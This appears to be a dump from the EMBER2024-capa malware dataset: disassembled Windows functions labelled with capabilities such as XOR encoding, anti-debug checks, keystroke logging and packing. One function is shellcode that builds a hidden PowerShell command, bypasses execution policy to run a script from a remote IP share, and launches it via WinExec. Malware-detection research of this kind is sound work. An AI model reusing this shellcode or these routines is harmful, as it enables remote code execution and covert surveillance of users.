joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49f2d4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax]
dec al
je 0x49f305
dec al
je 0x49f340
dec al
je 0x49f385
dec al
je 0x49f3ee
jmp 0x49f478
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x49f478
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x49f315
jmp 0x49f478
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x49f478
mov esi, 1
movzx eax, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x49f350
jmp 0x49f478
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x49f478
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov ecx, esi
dec ecx
mov edx, dword [ebx + 0x24]
cmp ecx, edx
jae 0x49f3b4
xor ebp, ebp
jmp 0x49f3c4
mov ecx, esi
sub ecx, edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx ebp, byte [edx + ecx]
add eax, ebp
sar eax, 1
jns 0x49f3cd
adc eax, 0
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [edx + esi]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x49f395
jmp 0x49f478
xor ebp, ebp
xor eax, eax
mov dword [esp + 4], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x49f478
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jb 0x49f447
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx ebp, byte [ecx + edx]
movzx edx, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 4], edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
movzx ecx, byte [esp + 4]
push eax
mov eax, ebp
pop edx
call fcn.0049c6d4
add al, byte [esp]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x49f402
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4a5e34
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4a5e62
mov eax, ebx
call fcn.004a68e8
cmp dword [ebx + 0x40], 0
je 0x4a5e5b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4a5ed3
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4a5ec5
cmp dword [ebx + 8], 0
je 0x4a5e84
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4a5e96
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4a5ec5
cmp dword [ebx + 8], 0
je 0x4a5e77
cmp eax, 3
je 0x4a5ea9
dec eax
jne 0x4a5e77
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4a5e77
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4a5e77
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4a5ef1
cmp dword [ebx + 0x14], 0xcc
je 0x4a5ef1
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004a5efc
pop ebx
ret

Function at 0x4b7f5c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x4b7fad
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x4b7f94
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x4b7f84
jmp 0x4b7fad
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x4b7f95
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c6eb8
Capabilities:
Accept command line arguments

Disassembly:
pushal
xor edx, edx
push edx
push 0x3173702e
push 0x755c7373
push 0x61707962
push 0x5c353432
push 0x2e383032
push 0x2e333132
push 0x2e353831
push 0x5c5c2220
push 0x656c6946
push 0x2d207373
push 0x61707942
push 0x20796369
push 0x6c6f506e
push 0x6f697475
push 0x63657845
push 0x2d206e65
push 0x64646968
push 0x206e6977
push 0x2d20706f
push 0x6e2d2065
push 0x78652e6c
push 0x6c656873
push 0x7265776f
push 0x7020632f
push 0x20646d63
push esp
pop ecx
push edx
push ecx
mov esi, dword fs:[edx + 0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0xc]
lodsd eax, dword [esi]
mov esi, dword [eax]
mov edi, dword [esi + 0x18]
mov ebx, dword [edi + 0x3c]
mov ebx, dword [edi + ebx + 0x78]
mov esi, dword [edi + ebx + 0x20]
add esi, edi
mov edx, dword [edi + ebx + 0x24]
movzx ebp, word [edi + edx]
inc edx
inc edx
lodsd eax, dword [esi]
cmp dword [edi + eax], 0x456e6957
jne 0x4c6f5e
mov esi, dword [edi + ebx + 0x1c]
add esi, edi
add edi, dword [esi + ebp*4]
call edi
pop eax
pop eax
popal
jmp 0xbf4c6f81
Function at 0x40adc3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f220]
jne 0x40adcd
repz ret
jmp fcn.0040e1c5

Function at 0x40b6ac
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41f220]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004090f5
and dword [ebp - 0x14], 0
cmp dword [0x420028], 0
mov dword [ebp - 0x18], eax
jne 0x40b75f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40b807
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40b807
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x420028], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42002c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x420030], eax
call edi
push eax
call esi
mov dword [0x420038], eax
test eax, eax
je 0x40b75f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x420034], eax
mov eax, dword [0x420034]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40b7b8
cmp dword [0x420038], ecx
je 0x40b7b8
push eax
call esi
push dword [0x420038]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40b7b8
test ebx, ebx
je 0x40b7b8
call edi
test eax, eax
je 0x40b7af
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40b7af
test byte [ebp - 8], 1
jne 0x40b7b8
or dword [ebp + 0x10], 0x200000
jmp 0x40b7eb
mov eax, dword [0x42002c]
cmp eax, dword [ebp - 0x18]
je 0x40b7eb
push eax
call esi
test eax, eax
je 0x40b7eb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40b7eb
mov eax, dword [0x420030]
cmp eax, dword [ebp - 0x18]
je 0x40b7eb
push eax
call esi
test eax, eax
je 0x40b7eb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x420028]
call esi
test eax, eax
je 0x40b807
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40b809
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040adc3
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408e84
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x194418f2
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x301a3d9d
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x409ebd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x409ebd
lcall 0x5de5, 0x8b10c483
jmp fcn.0076d6b4
Function at 0x402da0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x416398]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_ShowCursor]
push edi
mov ebx, ecx
jmp 0x402dc0
push 0
call esi
test eax, eax
jns 0x402dc0
push 0
push 0
push ebx
push 0x405760
push 0
push 0
call fcn.00406622
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xfffffffffffffff0
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov ecx, eax
and ecx, 0xff34ffb3
or ecx, 0x80000000
cmp eax, ecx
je 0x402e0e
push ecx
push 0xfffffffffffffff0
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call esi
push 1
mov edi, eax
call esi
push 0x60
push eax
push edi
push 0
push 0
push 0xffffffffffffffff
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, dword [0x4171d0]
add esi, 0x10
push esi
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x4171c8]
lea eax, [ebp - 0x18]
push eax
call fcn.00402b10
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea ecx, [ebx + 0x20]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], ecx
push eax
lea ecx, [edi + 4]
call fcn.00401410
lea eax, [ebx + 0x24]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [edi + 0x10]
call fcn.00401410
mov eax, dword [ebx + 4]
test eax, eax
je 0x402ea5
mov dword [ebp - 0x1c], eax
mov eax, 4
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebx + 0x28]
call fcn.00401490
lea eax, [ebp - 0x14]
push eax
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
push 0x40f6d8
push 0xc9
push dword [0x417224]
mov ecx, ebx
call fcn.004028d0
mov edi, eax
lea eax, [ebp - 0x34]
push eax
push 0x18
push edi
call dword [sym.imp.GDI32.dll_GetObjectA]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
push 0x3e8
push dword [ebx + 4]
mov dword [ebx + 0x50], ecx
mov dword [ebx + 0x54], eax
call dword [sym.imp.USER32.dll_GetDlgItem]
mov ecx, dword [ebp - 0x10]
mov esi, eax
mov eax, dword [ebp - 8]
sub eax, ecx
mov dword [ebx + 0x4c], esi
sub eax, dword [ebx + 0x54]
push 1
cdq
sub eax, edx
sar eax, 1
push 0
push 0
add ecx, 0xffffff92
add eax, ecx
push eax
mov eax, dword [ebp - 0xc]
sub eax, dword [ebx + 0x50]
sub eax, dword [ebp - 0x14]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
push eax
push 0
push esi
call dword [sym.imp.USER32.dll_SetWindowPos]
push edi
push 0
push 0x172
push dword [ebx + 0x4c]
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0x3e8
push 1
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_SetTimer]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0040684f
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402f80
Capabilities:
Hide graphical window
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x416398]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 1
push edi
mov edi, ecx
mov dword [ebp - 0x1c], edi
jne 0x4030d4
push ebx
push esi
lea eax, [ebp - 0x14]
push eax
push dword [edi + 4]
call dword [sym.imp.USER32.dll_GetWindowRect]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call esi
push 1
mov ebx, eax
call esi
cmp dword [ebp - 0x14], 0
jne 0x402fd5
cmp dword [ebp - 0x10], 0
je 0x402fd0
cmp dword [ebp - 0xc], ebx
jne 0x402fd5
cmp dword [ebp - 8], eax
je 0x402fe8
push 0x40
push eax
push ebx
push 0
push 0
push 0xffffffffffffffff
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [edi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x18], eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push esi
call dword [sym.imp.USER32.dll_SwitchDesktop]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ebx, eax
call edi
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
mov edi, eax
push ebx
push edi
call esi
push 8
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
push 3
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_BringWindowToTop]
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 1
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_SwitchToThisWindow]
push 0
push ebx
push edi
call esi
mov ebx, dword [ebp - 0x1c]
mov ecx, ebx
call fcn.00402160
inc dword [ebx + 0x48]
mov eax, dword [ebx + 0x48]
mov esi, 0xff
and eax, 0x80000001
jns 0x403092
dec eax
or eax, 0xfffffffe
inc eax
push dword [ebx + 4]
mov eax, 0xff0000
cmovne esi, eax
call dword [sym.imp.USER32.dll_SetActiveWindow]
push 1
call dword [sym.imp.USER32.dll_LockSetForegroundWindow]
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_SetFocus]
push esi
push 1
push 0x7e8
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_PostMessageA]
push 1
push 0
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_InvalidateRect]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop edi
call fcn.0040684f
mov esp, ebp
pop ebp
ret 4
Function at 0x403a30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x416398]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x40c], edx
mov edx, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x410], edx
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0x41c], esi
mov dword [ebp - 0x408], esi
test eax, eax
je 0x403c0b
mov ecx, eax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403a82
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 1]
cdq
mov edi, eax
shld edx, edi, 1
add edi, edi
mov eax, edi
add eax, 0x80000000
adc edx, esi
mov dword [ebp - 0x420], edx
jne 0x403b21
cmp eax, 0xffffffff
ja 0x403b21
cmp edi, 0x400
jg 0x403ad3
push edi
call fcn.004057a0
add esp, 4
test al, al
je 0x403ad3
mov eax, edi
call fcn.00406860
mov ebx, esp
jmp 0x403af8
or eax, 0xffffffff
sub eax, edi
cmp eax, 8
jb 0x403c5a
lea eax, [edi + 8]
push eax
call fcn.004061df
add esp, 4
test eax, eax
je 0x403b21
mov dword [eax], esi
mov esi, eax
lea ebx, [eax + 8]
test ebx, ebx
je 0x403b21
push 0
push 0
push edi
push ebx
push 0xffffffffffffffff
push dword [ebp - 0x414]
mov byte [ebx], 0
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
neg edi
sbb edi, edi
and edi, ebx
jmp 0x403b23
xor edi, edi
test edi, edi
je 0x403c0b
push 0x60
push 0
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov ebx, eax
test ebx, ebx
jne 0x403b58
push 2
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov ebx, eax
test ebx, ebx
jne 0x403b58
call fcn.00401f60
mov edi, eax
jmp 0x403c10
push dword [ebp - 0x410]
push dword [ebp - 0x40c]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403b7b
call fcn.00401f60
jmp 0x403bfc
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x40c], eax
test eax, eax
jne 0x403b94
call fcn.00401f60
jmp 0x403bfc
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
lea eax, [edi + 1]
cmp eax, edi
jae 0x403bac
mov edi, 0x8007000e
jmp 0x403bfe
push eax
lea ecx, [ebp - 0x408]
call fcn.00401ce0
cmp dword [ebp - 0x408], 0
jne 0x403bc8
mov edi, 0x8007000e
jmp 0x403bfe
push edi
push dword [ebp - 0x40c]
push edi
push dword [ebp - 0x408]
call fcn.00405860
mov eax, dword [ebp - 0x408]
add esp, 0x10
mov byte [eax + edi], 0
push dword [ebp + 0x14]
lea ecx, [ebp - 0x41c]
push dword [ebp - 0x408]
call fcn.004038d0
mov edi, eax
test ebx, ebx
je 0x403c10
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x403c10
mov edi, 0x8007000e
lea eax, [ebp - 0x404]
cmp dword [ebp - 0x408], eax
je 0x403c29
lea ecx, [ebp - 0x408]
call fcn.004026d0
test esi, esi
je 0x403c3f
lea ecx, [ecx]
push esi
mov esi, dword [esi]
call fcn.004061a7
add esp, 4
test esi, esi
jne 0x403c30
mov eax, edi
lea esp, [ebp - 0x430]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040684f
mov esp, ebp
pop ebp
ret 0x10
push 0x80070216
call fcn.00401fa0
int3
Function at 0x404bb0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
test ebx, ebx
jne 0x404bc9
lea eax, [ebx + 0xd]
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
push edi
xor esi, esi
mov edx, ebx
nop
mov eax, edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404bd5
sub eax, edi
inc eax
add edx, eax
add esi, eax
cmp eax, 1
jne 0x404bd0
mov eax, dword [ebp - 4]
push esi
push ebx
push 7
push 0
push dword [ebp + 8]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x405900
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
jne 0x405928
lea eax, [edi - 2]
pop edi
mov esp, ebp
pop ebp
ret 0x10
cmp dword [ebp - 4], 2
push esi
jne 0x40596b
mov eax, dword [edi + 4]
mov ecx, 0x40f6dc
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40595d
test dx, dx
je 0x405959
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40595d
add eax, 4
add ecx, 4
test dx, dx
jne 0x405937
xor eax, eax
jmp 0x405962
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40596b
lea esi, [eax + 1]
jmp 0x40596d
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
test esi, esi
jne 0x405983
pop esi
or eax, 0xffffffff
pop edi
mov esp, ebp
pop ebp
ret 0x10
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DefWindowProcA]
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0xc], 8
mov dword [ebp - 8], 4
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push 0
push dword [ebp + 8]
mov ecx, 0x417194
push 0
call fcn.004027a0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.004049c0
add esp, 8
mov ecx, 0x417194
mov esi, eax
call fcn.00404df0
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, esi
pop esi
pop edi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40ab88
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x416398]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00407c50
mov dword [ebp - 0x14], eax
cmp dword [0x417ed4], edi
jne 0x40ac79
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40ac06
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40ad59
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40ad59
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40ad59
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x417ed4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x417ed8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x417edc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x417ee4], eax
test eax, eax
je 0x40ac76
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x417ee0], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40ac9e
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40ac91
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40acb3
push 4
pop eax
jmp 0x40ad5b
cmp dword [ebp - 0x14], edi
je 0x40acb3
push dword [0x417ed4]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40ac98
mov eax, dword [0x417ee0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40ad11
cmp dword [0x417ee4], esi
je 0x40ad11
push eax
call ebx
push dword [0x417ee4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40ad11
test eax, eax
je 0x40ad11
call ecx
test eax, eax
je 0x40ad06
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40ad06
test byte [ebp - 8], 1
jne 0x40ad11
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40ad41
mov eax, dword [0x417ed8]
cmp eax, esi
je 0x40ad3e
push eax
call ebx
test eax, eax
je 0x40ad3e
call eax
mov edi, eax
test edi, edi
je 0x40ad3e
mov eax, dword [0x417edc]
cmp eax, esi
je 0x40ad3e
push eax
call ebx
test eax, eax
je 0x40ad3e
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x417ed4]
call ebx
test eax, eax
je 0x40ad59
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40ad5b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040684f
leave
ret